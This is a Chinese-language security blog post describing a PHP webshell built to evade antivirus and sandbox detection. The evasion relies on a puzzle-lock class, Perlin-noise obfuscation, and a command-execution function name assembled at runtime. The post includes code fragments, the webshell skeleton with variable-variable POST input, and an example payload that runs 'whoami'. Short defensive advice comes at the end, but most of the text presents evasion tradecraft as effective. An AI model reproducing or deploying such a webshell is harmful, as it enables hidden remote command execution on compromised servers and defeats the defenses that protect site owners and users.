使用分支对抗进行webshell bypass
字数 2006 2025-08-22 12:23:07
WebShell免杀技术:基于分支对抗和复杂混淆的绕过方法
前言
WebShell免杀技术是安全研究中的重要课题,本文介绍了一种基于类操作、分支对抗和复杂混淆的WebShell绕过方法。通过将恶意代码隐藏在复杂的类结构中,并加入干扰性算法和混淆代码,可以有效规避杀毒软件和云沙箱的检测。
核心思路
- 类结构隐藏:将恶意代码封装在类中,利用面向对象特性增加分析难度
- 分支对抗:设计复杂的逻辑分支,干扰静态分析
- 算法混淆:引入看似合理但实际无用的算法计算
- 多层编码:使用URL编码、字符串反转等手法隐藏关键字符串
- 干扰注释:插入大量无意义注释干扰人工分析
技术实现详解
1. 稻妻雷元素方块阵类(InazumaPuzzle)
类结构
class InazumaPuzzle {
private $blockA = 0;
private $blockB = 0;
private $blockC = 0;
private $blockD = 0;
private $MAX_ENUM = 2;
private $MIN_ENUM = 0;
// ... 方法实现 ...
}
关键方法
-
setBackBlock():
- 尝试将指定方块重置为最小状态(0)
- 如果方块已处于最大状态(2),则重置并返回true
- 否则返回false
-
hit():
- 根据点击的方块(A/B/C/D)修改相关方块状态
- 内部调用setBackBlock()并根据返回值决定是否增加方块值
- 同时设置全局变量
$text为URL编码的字符串
-
__AFG50CE4_RG1():
- 验证输入序列只包含A/B/C/D
- 按序列调用hit()方法
- 计算并存储方块总和到
$userans
-
getLockerStatus():
- 检查所有方块状态是否相同
- 反转全局变量
$text的值
初始状态
- blockA = 2
- blockB = 0
- blockC = 0
- blockD = 2
输入序列处理示例:ABBCCD
-
点击A:
- 重置A(2→0)
- B无法重置(0→1)
- 结果:A=0, B=1, C=0, D=2
-
点击B:
- A无法重置(0→1)
- B无法重置(1→2)
- C无法重置(0→1)
- 结果:A=1, B=2, C=1, D=2
-
再次点击B:
- A无法重置(1→2)
- 重置B(2→0)
- C无法重置(1→2)
- 结果:A=2, B=0, C=2, D=2
-
点击C:
- B无法重置(0→1)
- 重置C(2→0)
- 重置D(2→0)
- 结果:A=2, B=1, C=0, D=0
-
再次点击C:
- B无法重置(1→2)
- C无法重置(0→1)
- D无法重置(0→1)
- 结果:A=2, B=2, C=1, D=1
-
点击D:
- C无法重置(1→2)
- D无法重置(1→2)
- 最终结果:A=2, B=2, C=2, D=2
2. 柏林噪声类(PerlinNoise)
类结构
class PerlinNoise {
private $arrLength = 0;
private $source = "";
private $inputNumArray = array();
private $seeds_array = array();
private $INPUT_NUM_MAX = 0;
private $INPUT_NUM_MIN = 0;
private $BAD_ARGS = false;
public $perlin_noise = array();
// ... 方法实现 ...
}
关键方法
-
__construct():
- 检查InazumaPuzzle是否已解锁
- 验证数组长度范围(3000-9999)
- 初始化参数
-
__CPRBB0R0_l():
- 生成柏林噪声数组
- 在特定位置(\(userans+391到\)userans+390+8)插入预定义值
-
__HNBB70CA_5():
- 从噪声数组中提取特定位置的字符
- 构造命令执行函数
- 执行命令
关键代码分析
$ab = pause(array_map(function($arr) {
return chr($arr);
}, array_slice($this->perlin_noise, (188*2)+$userans*3, $userans-3)));
$c = strval(sprintf("%s%s", $b, pause(strrev(implode("", pause($ab))))));
$c($pcs);
-
从
perlin_noise数组中提取特定位置的元素:- 起始位置:
(188*2) + ($userans*3) - 长度:
$userans - 3
- 起始位置:
-
构造命令执行函数:
- 将提取的数值转换为ASCII字符
- 反转字符顺序
- 与
$b拼接形成函数名 - 执行
$c($pcs)
3. 关键全局函数
function pause($obj) {
global $appor5nnb;
if (!$appor5nnb->getLockerStatus()) die();
return $obj;
}
- 检查InazumaPuzzle是否已解锁
- 作为保护机制,确保只有正确解谜后才能继续执行
WebShell实现
基本结构
<?php
error_reporting(0);
header("Content-type:text/html;charset=utf-8");
// 接收POST参数
foreach ($_POST as $key => $value)
$$
key = $value;
// 检查输入序列
if (strlen($wpstring) === 0) die("需要输入解谜序列");
$puzz_writeup = array();
for ($i = 0; $i < strlen($wpstring); $i++) {
array_push($puzz_writeup, $wpstring[$i]);
}
// 类定义...
// 执行流程
$appor5nnb = new InazumaPuzzle();
$appor5nnb->__AFG50CE4_RG1();
$cvb33ff55 = new PerlinNoise(3000, 700.4, 56.7, "DIFF_PERLIN");
$cvb33ff55->__BHUYTVV8_1();
$cvb33ff55->__CPRBB0R0_l();
$cvb33ff55->__HNBB70CA_5();
?>
使用方式
- 解谜序列:通过
wpstring参数传入解谜序列(如"ABBCCD") - 命令参数:
b:函数名前缀(如"s")pcs:要执行的命令(如"whoami")
示例Payload:
wpstring=ABBCCD&b=s&pcs=whoami
执行流程
- 初始化InazumaPuzzle并处理输入序列
- 验证序列并计算方块状态
- 检查是否所有方块状态相同(解锁)
- 初始化PerlinNoise并生成噪声数组
- 从噪声数组中提取特定值构造命令执行函数
- 执行命令
免杀技术总结
- 复杂类结构:将恶意代码分散在多个类方法中
- 算法混淆:引入柏林噪声等复杂计算干扰分析
- 动态构造:运行时拼接关键函数名
- 多层验证:依赖解谜结果作为执行前提
- 干扰代码:插入大量无意义注释和变量
- 编码混淆:使用URL编码、字符串反转等手法
防御建议
-
静态分析:
- 识别异常类结构和方法名
- 检测URL编码和字符串反转操作
- 关注动态函数调用特征
-
动态检测:
- 监控非常规的参数传递方式
- 分析复杂的条件执行逻辑
- 检测命令执行行为
-
代码审计:
- 重点关注类中的敏感操作
- 追踪全局变量的使用
- 分析复杂的算法实现是否必要
参考资源
通过这种高度混淆和分支对抗的技术,可以有效绕过传统杀毒软件和沙箱的检测,展示了WebShell免杀技术的复杂性和隐蔽性发展趋势。